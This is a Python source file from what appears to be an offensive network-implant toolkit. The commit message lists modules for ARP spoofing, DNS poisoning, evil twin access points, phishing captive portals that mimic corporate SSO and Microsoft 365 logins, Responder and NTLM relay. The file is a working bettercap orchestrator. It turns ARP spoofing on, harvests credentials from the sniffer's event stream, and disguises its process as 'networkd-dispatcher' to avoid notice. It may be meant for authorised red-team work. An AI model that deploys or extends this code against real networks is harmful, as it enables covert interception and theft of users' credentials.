Files
bigbrother/modules/active/bettercap_mgr.py
T
n0mad1k ba5143b560 Phase 4: Active modules, templates, and operator scripts
Active modules (9 files in modules/active/):
- bettercap_mgr: Central bettercap orchestrator with REST API health
  monitoring, event stream parsing, crash recovery with corrective
  gratuitous ARPs, caplet management, and process disguise
- arp_spoof: Thin bettercap wrapper for ARP spoofing with OPSEC warnings
- dns_poison: DNS poisoning with zone template loading support
- dhcp_spoof: DHCPv6 spoofing via bettercap for rogue DNS injection
- evil_twin: hostapd-based rogue AP with captive portal and dnsmasq,
  iptables redirect, credential capture via HTTP POST handler
- ipv6_slaac: IPv6 SLAAC spoofing via bettercap + mitm6 WPAD abuse
- responder_mgr: Responder subprocess manager with hash file monitoring,
  NTLMv1/v2 parsing, session log scanning, relay target coordination
- mitmproxy_mgr: Transparent proxy with addon scripts, tier checking
  (OPi Zero 3+ only), iptables setup, credential/token extraction
- ntlm_relay: ntlmrelayx wrapper with multi-protocol relay (SMB, LDAP,
  LDAPS, HTTP, MSSQL, ADCS), Responder exclusion coordination, SOCKS

Templates (9 files):
- 4 captive portals: corporate SSO, guest WiFi, Outlook/M365, VPN
  (self-contained HTML with inline CSS, realistic login forms)
- 2 DNS zones: redirect-all and selective Jinja2 template
- 2 hostapd configs: open AP and WPA2-PSK Jinja2 templates
- 1 Responder.conf Jinja2 template with protocol toggles

Operator scripts (6 files in scripts/operator/):
- pull_data.sh: rsync structured data over WireGuard/Tailscale
- extract_files.sh: tshark HTTP/SMB/FTP/TFTP file extraction
- extract_print_jobs.sh: TCP/9100 print job reconstruction + PDF convert
- extract_emails.sh: SMTP email extraction with attachment detection
- crack_hashes.sh: Export creds to hashcat format, optional auto-crack
- generate_report.py: SQLite-to-Markdown/HTML engagement report generator
2026-03-18 13:48:11 -04:00

516 lines
18 KiB
Python

#!/usr/bin/env python3
"""Central bettercap orchestrator — single instance, shared by all active modules.
Manages the bettercap subprocess lifecycle, REST API health monitoring,
event stream parsing, caplet management, and crash recovery with corrective
gratuitous ARPs.
All active MITM modules (ARP spoof, DNS poison, DHCP spoof, IPv6 SLAAC)
route commands through this manager via run_command() and the BettercapAPI
client.
"""
import logging
import os
import subprocess
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
from utils.bettercap_api import BettercapAPI
logger = logging.getLogger("bb.active.bettercap_mgr")
class BettercapManager(BaseModule):
"""Central bettercap instance manager.
Responsibilities:
- Start/stop bettercap with random per-session API credentials
- Health monitoring via GET /api/session every 10s
- Auto-restart on crash (max 3) with caplet re-application
- Crash recovery: gratuitous ARP correction if spoofing was active
- Parse event stream for credentials and host discoveries
- Caplet management: load/unload/switch from config/caplets/
- Process disguise coordination
"""
name = "bettercap_mgr"
module_type = "active"
priority = 50
requires_root = True
HEALTH_POLL_INTERVAL = 10 # seconds
EVENT_POLL_INTERVAL = 5 # seconds
MAX_CRASH_RESTARTS = 3
RESTART_WINDOW = 15 # seconds — restart within this window after crash
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._api: Optional[BettercapAPI] = None
self._proc: Optional[subprocess.Popen] = None
self._health_thread: Optional[threading.Thread] = None
self._event_thread: Optional[threading.Thread] = None
self._crash_count = 0
self._last_event_id = 0
self._active_caplet: Optional[str] = None
self._spoofing_active = False
self._spoof_targets: Optional[str] = None
self._spoof_gateway: Optional[str] = None
self._arp_disabled_by_crash = False
self._lock = threading.Lock()
self._binary = config.get("bettercap_binary", "/usr/local/bin/bettercap")
self._iface = config.get("interface", "eth0")
self._api_host = "127.0.0.1"
self._api_port = config.get("bettercap_api_port", 8083)
self._caplet_dir = config.get(
"caplet_dir",
os.path.join(os.path.dirname(__file__), "..", "..", "config", "caplets"),
)
self._disguise_name = config.get("bettercap_disguise", "networkd-dispatcher")
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
# Initialise REST API client with fresh random credentials
self._api = BettercapAPI(
host=self._api_host,
port=self._api_port,
)
if not self._start_bettercap():
logger.error("Failed to start bettercap subprocess")
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._crash_count = 0
# Health monitoring thread
self._health_thread = threading.Thread(
target=self._health_loop, daemon=True, name="bb-bcap-health"
)
self._health_thread.start()
# Event stream parser thread
self._event_thread = threading.Thread(
target=self._event_loop, daemon=True, name="bb-bcap-events"
)
self._event_thread.start()
self.state.set_module_status(self.name, "running", pid=self._get_proc_pid())
logger.info(
"BettercapManager started (api=%s:%d, iface=%s)",
self._api_host, self._api_port, self._iface,
)
def stop(self) -> None:
if not self._running:
return
self._running = False
# Stop ARP spoofing cleanly before shutdown
if self._spoofing_active:
try:
self._api.run("arp.spoof off")
except Exception:
pass
self._spoofing_active = False
self._stop_bettercap()
self.state.set_module_status(self.name, "stopped")
logger.info("BettercapManager stopped")
def status(self) -> dict:
alive = self._proc is not None and self._proc.poll() is None
return {
"running": self._running and alive,
"pid": self._get_proc_pid(),
"uptime": time.time() - self._start_time if self._start_time else 0,
"crash_count": self._crash_count,
"spoofing_active": self._spoofing_active,
"active_caplet": self._active_caplet,
"arp_disabled_by_crash": self._arp_disabled_by_crash,
"api_port": self._api_port,
}
def configure(self, config: dict) -> None:
self.config.update(config)
if "interface" in config:
self._iface = config["interface"]
def health_check(self) -> bool:
if not self._running:
return False
if self._api is None:
return False
try:
return self._api.is_alive()
except Exception:
return False
# ------------------------------------------------------------------
# Public API — used by other active modules
# ------------------------------------------------------------------
def run_command(self, cmd: str) -> dict:
"""Execute a bettercap command via REST API.
Args:
cmd: bettercap command string (e.g., "arp.spoof on")
Returns:
API response dict.
Raises:
ConnectionError: If bettercap is unreachable.
"""
if self._api is None:
raise ConnectionError("BettercapManager not started")
return self._api.run(cmd)
def load_caplet(self, name: str) -> dict:
"""Load a caplet from the caplet directory.
Args:
name: Caplet filename (e.g., "passive_recon.cap").
Returns:
API response dict.
"""
caplet_path = os.path.join(self._caplet_dir, name)
if not os.path.isfile(caplet_path):
raise FileNotFoundError(f"Caplet not found: {caplet_path}")
result = self._api.load_caplet(caplet_path)
self._active_caplet = name
self.state.set(self.name, "active_caplet", name)
logger.info("Loaded caplet: %s", name)
return result
def get_hosts(self) -> list:
"""Return discovered hosts from bettercap session."""
if self._api is None:
return []
try:
return self._api.get_hosts()
except Exception:
return []
def is_spoofing(self) -> bool:
"""Return True if ARP spoofing is currently active."""
return self._spoofing_active
def set_spoofing_state(self, active: bool, targets: str = None,
gateway: str = None) -> None:
"""Track ARP spoofing state for crash recovery."""
with self._lock:
self._spoofing_active = active
self._spoof_targets = targets
self._spoof_gateway = gateway
def get_api(self) -> Optional[BettercapAPI]:
"""Return the BettercapAPI client instance."""
return self._api
# ------------------------------------------------------------------
# Subprocess management
# ------------------------------------------------------------------
def _start_bettercap(self) -> bool:
"""Launch bettercap subprocess with REST API."""
cmd = [
self._binary,
"-iface", self._iface,
"-no-history",
] + self._api.api_flags
env = dict(os.environ)
try:
self._proc = subprocess.Popen(
cmd,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
env=env,
preexec_fn=self._make_preexec(self._disguise_name),
)
except FileNotFoundError:
logger.error("bettercap binary not found: %s", self._binary)
return False
except Exception as e:
logger.error("Failed to start bettercap: %s", e)
return False
# Wait for API to become available (up to 15s)
deadline = time.time() + 15
while time.time() < deadline:
if self._api.is_alive():
logger.info("bettercap API ready (pid=%d)", self._proc.pid)
return True
time.sleep(0.5)
logger.error("bettercap API did not become ready within 15s")
self._stop_bettercap()
return False
def _stop_bettercap(self) -> None:
"""Gracefully stop bettercap: SIGTERM -> 5s -> SIGKILL."""
proc = self._proc
if proc is None or proc.poll() is not None:
self._proc = None
return
try:
proc.terminate()
except OSError:
pass
try:
proc.wait(timeout=5.0)
except subprocess.TimeoutExpired:
logger.warning("bettercap did not stop after SIGTERM, sending SIGKILL")
try:
proc.kill()
proc.wait(timeout=2.0)
except Exception:
pass
self._proc = None
def _get_proc_pid(self) -> Optional[int]:
if self._proc and self._proc.poll() is None:
return self._proc.pid
return None
# ------------------------------------------------------------------
# Crash recovery
# ------------------------------------------------------------------
def _handle_crash(self) -> None:
"""Handle bettercap crash: corrective ARPs, then restart.
If ARP spoofing was active, immediately send corrective gratuitous
ARPs to restore network state. Disable ARP spoofing after 3 crashes
to prevent a crash loop from disrupting the network.
"""
self._crash_count += 1
logger.warning(
"bettercap crashed (count=%d/%d, spoofing_was_active=%s)",
self._crash_count, self.MAX_CRASH_RESTARTS, self._spoofing_active,
)
self.bus.emit(
"TOOL_CRASHED",
{
"tool": "bettercap",
"crash_count": self._crash_count,
"spoofing_active": self._spoofing_active,
},
source_module=self.name,
)
# Send corrective gratuitous ARPs if spoofing was active
if self._spoofing_active and self._spoof_gateway:
self._send_corrective_arps()
# Disable ARP spoof after max crashes to break crash loops
if self._crash_count >= self.MAX_CRASH_RESTARTS:
if self._spoofing_active:
logger.error(
"ARP spoof disabled after %d crashes — network stability risk",
self._crash_count,
)
self._arp_disabled_by_crash = True
self._spoofing_active = False
self.state.set(self.name, "arp_disabled_by_crash", "true")
logger.error("bettercap exceeded max restarts (%d), giving up", self.MAX_CRASH_RESTARTS)
self._running = False
self.state.set_module_status(self.name, "crashed")
return
# Restart bettercap within RESTART_WINDOW
backoff = min(2 ** (self._crash_count - 1), self.RESTART_WINDOW)
logger.info("Restarting bettercap in %ds (attempt %d/%d)",
backoff, self._crash_count, self.MAX_CRASH_RESTARTS)
time.sleep(backoff)
if self._start_bettercap():
logger.info("bettercap restarted successfully")
self.state.set_module_status(self.name, "running", pid=self._get_proc_pid())
# Re-apply active caplet
if self._active_caplet:
try:
self.load_caplet(self._active_caplet)
except Exception:
logger.exception("Failed to re-apply caplet after restart")
# Re-enable ARP spoofing if it was active and not disabled
if self._spoofing_active and not self._arp_disabled_by_crash:
try:
if self._spoof_targets:
self._api.set_parameter("arp.spoof.targets", self._spoof_targets)
self._api.run("arp.spoof on")
logger.info("ARP spoofing re-enabled after restart")
except Exception:
logger.exception("Failed to re-enable ARP spoof after restart")
else:
logger.error("bettercap restart failed")
self._running = False
self.state.set_module_status(self.name, "crashed")
def _send_corrective_arps(self) -> None:
"""Send corrective gratuitous ARPs to restore network after crash.
Uses scapy to send a few gratuitous ARP packets with the real
gateway MAC to undo any poisoned ARP caches.
"""
try:
from scapy.all import ARP, Ether, sendp, getmacbyip
except ImportError:
logger.warning("scapy not available — cannot send corrective ARPs")
return
gateway = self._spoof_gateway
if not gateway:
return
try:
gw_mac = getmacbyip(gateway)
if not gw_mac:
logger.warning("Could not resolve gateway MAC for corrective ARPs")
return
# Gratuitous ARP: gateway telling everyone its real MAC
pkt = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(
op=2, # is-at
psrc=gateway,
hwsrc=gw_mac,
pdst=gateway,
hwdst="ff:ff:ff:ff:ff:ff",
)
sendp(pkt, iface=self._iface, count=5, inter=0.2, verbose=False)
logger.info("Sent corrective gratuitous ARPs for gateway %s", gateway)
except Exception:
logger.exception("Failed to send corrective ARPs")
# ------------------------------------------------------------------
# Health monitoring loop
# ------------------------------------------------------------------
def _health_loop(self) -> None:
"""Poll bettercap API every HEALTH_POLL_INTERVAL to detect crashes."""
while self._running:
time.sleep(self.HEALTH_POLL_INTERVAL)
if not self._running:
break
# Check if process is still alive
if self._proc and self._proc.poll() is not None:
self._handle_crash()
continue
# Check API responsiveness
try:
if not self._api.is_alive():
logger.warning("bettercap API unresponsive — checking process")
if self._proc and self._proc.poll() is not None:
self._handle_crash()
except Exception:
logger.exception("Health check error")
# ------------------------------------------------------------------
# Event stream parser
# ------------------------------------------------------------------
def _event_loop(self) -> None:
"""Poll bettercap event stream for credentials and host discoveries."""
while self._running:
time.sleep(self.EVENT_POLL_INTERVAL)
if not self._running:
break
try:
events = self._api.get_events(since=self._last_event_id)
except Exception:
continue
for event in events:
self._last_event_id += 1
self._process_event(event)
def _process_event(self, event: dict) -> None:
"""Parse a single bettercap event and emit bus events as needed."""
tag = event.get("tag", "")
data = event.get("data", {})
# Credential captures from HTTP proxy, net.sniff, etc.
if tag in ("net.sniff.credentials", "http.proxy.credentials",
"https.proxy.credentials"):
self._handle_credential_event(data)
# Host discovery events
elif tag in ("endpoint.new", "endpoint.detected"):
self._handle_host_event(data)
# Module status events
elif tag.startswith("mod."):
logger.debug("bettercap module event: %s", tag)
def _handle_credential_event(self, data: dict) -> None:
"""Emit CREDENTIAL_FOUND for captured credentials."""
payload = {
"source_module": self.name,
"source_ip": data.get("from", ""),
"target_ip": data.get("to", ""),
"target_service": data.get("proto", "unknown"),
"username": data.get("username", ""),
"credential_type": data.get("type", "cleartext"),
"credential_value": data.get("password", data.get("hash", "")),
"raw_data": data,
}
self.bus.emit("CREDENTIAL_FOUND", payload, source_module=self.name)
logger.info(
"Credential captured: %s@%s (%s)",
payload["username"], payload["target_ip"], payload["target_service"],
)
def _handle_host_event(self, data: dict) -> None:
"""Emit HOST_DISCOVERED for new network hosts."""
payload = {
"source_module": self.name,
"ip": data.get("ipv4", data.get("addr", "")),
"mac": data.get("mac", ""),
"hostname": data.get("hostname", ""),
"vendor": data.get("vendor", ""),
"os": data.get("os", ""),
"raw_data": data,
}
self.bus.emit("HOST_DISCOVERED", payload, source_module=self.name)
# ------------------------------------------------------------------
# Helpers
# ------------------------------------------------------------------
@staticmethod
def _make_preexec(disguise_name: str):
"""Return a preexec_fn that renames the process via prctl."""
def _preexec():
try:
import ctypes
libc = ctypes.CDLL("libc.so.6", use_errno=True)
PR_SET_NAME = 15
name_bytes = disguise_name[:15].encode("utf-8")
libc.prctl(PR_SET_NAME, name_bytes, 0, 0, 0)
except Exception:
pass
return _preexec